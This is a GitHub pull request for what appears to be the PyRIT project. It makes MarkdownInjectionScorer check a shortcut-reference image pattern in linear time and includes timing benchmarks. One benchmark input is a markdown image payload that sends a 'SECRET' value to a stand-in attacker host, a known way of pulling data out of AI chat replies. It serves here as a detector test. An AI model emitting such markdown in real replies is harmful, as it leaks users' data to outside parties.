Skip to content

FIX: Check the default shortcut-reference image pattern in linear time in MarkdownInjectionScorer - #4223

Open
Jaafer Rahmani (bIackr0se) wants to merge 2 commits into
microsoft:mainfrom
bIackr0se:fix/markdown-shortcut-linear
Open

Jaafer Rahmani (bIackr0se) wants to merge 2 commits into
microsoft:mainfrom
bIackr0se:fix/markdown-shortcut-linear

Conversation

@bIackr0se

Copy link
Copy Markdown
Contributor

Description

MarkdownInjectionScorer() still runs the default shortcut-reference image pattern with re.search, which takes quadratic time in the number of images or definition lines in a reply: a 300 KB reply of ![a] repeated takes 25 s to score. This PR checks that pattern in linear time with the same verdict, as #3966 did for the default inline and reference patterns.

  • The pattern's first branch scans the rest of the reply for a [label]: line after every ![label], and its second branch scans the rest for an image after every definition line.
  • A label runs from its [ to the first ], so each ![ and each definition line has exactly one label. _has_shortcut_pair reads each label once, backwards from its ], into a trie of lowercased characters, so equal labels share a node. One pass then checks the two orders the pattern accepts: a definition line that starts after an image ends, or an image that starts after a definition's value.
  • ch.lower()[0] is the per-character comparison re makes for a case-insensitive backreference, so ![İ] still pairs with [i]: x and ![ſ] still does not pair with [s]: x.
  • The pattern string does not change. A custom shortcut pattern still goes through re.search.

Default MarkdownInjectionScorer().score_text_async(reply) with initialize_pyrit_async(memory_db_type=IN_MEMORY), Python 3.12:

reply                                     chars   main              this PR
"![a] " * 12_800                          64000   False, 1.135 s    False, 0.024 s
"![a]\n" * 12_800                         64000   False, 1.481 s    False, 0.066 s
"![a] " * 60_000                         300000   False, 24.8 s     False, 0.11 s
"![a]\n" * 60_000                        300000   False, 31.4 s     False, 0.31 s
"Sure! ![logo]\n\n[logo]: https://attacker.example/p.png?d=SECRET"
                                             62   True              True (same rationale)

The new check gives the same verdict as re.search with the default shortcut pattern on every sequence of up to six tokens over ![a], ![A], ![a](, ![a][, [a]:, [A]:, x, x, \n, , ![, ] (3,257,437 strings, 293,888 of them matches) and on 600,000 random strings with case variants such as İ, ſ, K and Σ, with no difference.

Copilot AI balanced review requested due to automatic review settings November 11, 2026 22:09

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copilot was unable to review this pull request because the user who requested the review has insufficient remaining quota. Try requesting a review at a lower effort level.

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants